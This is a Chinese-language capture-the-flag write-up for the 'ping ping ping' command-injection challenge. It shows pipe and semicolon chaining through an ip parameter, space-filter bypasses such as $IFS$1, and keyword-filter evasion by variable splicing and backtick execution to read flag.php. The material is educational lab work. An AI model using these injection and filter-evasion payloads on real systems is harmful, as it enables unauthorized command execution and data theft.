开启环境之后可以看到
加上题目是ping ping ping
所以可以猜测是需要我们命令执行读取flag
加上?ip=127.0.0.1
http://3d59e365-7e67-4e43-b2f5-dec887255281.node3.buuoj.cn/?ip=127.0.0.1
可以看到页面成功返回,我们尝试使用管道符执行我们想要执行的命令
?ip=127.0.0.1 | ls
这个时候页面返回错误
怀疑是空格的原因,去掉空格,改为
?ip=127.0.0.1|ls
可以看到成功执行ls
目录下存在flag.php和index.php文件,尝试cat flag文件
考虑到之前的空格会被检测,我们绕过空格
绕过空格的思路一般有:
IFS
{IFS}
IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
20
%09
我们这里使用$IFS,即构造?ip=127.0.0.1|cat$IFSflag.php
不过页面显示的错误信息改变:
猜测是因为检测了flag,所以我们尝试先读取index.php
?ip=127.0.0.1|cat$IFSindex.php,还是没有显示结果,依次尝试:?ip=127.0.0.1|cat$IFS$1flag.php成功
可以看到对我们的输入进行了过滤,在flag贪婪匹配里面我们不将flag连着写,就不会匹配到,同时可以看到有$a变量,尝试覆盖它
变量拼接
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看源代码里面就有flag
另外我们可以尝试使用反引号内联执行的做法,linux下反引号``里面包含的就是需要执行的系统命令
而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令
?ip=127.0.0.1;cat$IFS`ls`
查看源代码可以看到index.php和flag.php的内容都显示了出来
参考链接:
https://chen.oinsm.com/2020/01/10/GXYCTF-2019-%E5%A4%8D%E7%8E%B0/
https://www.jianshu.com/p/fd7f9fcc9333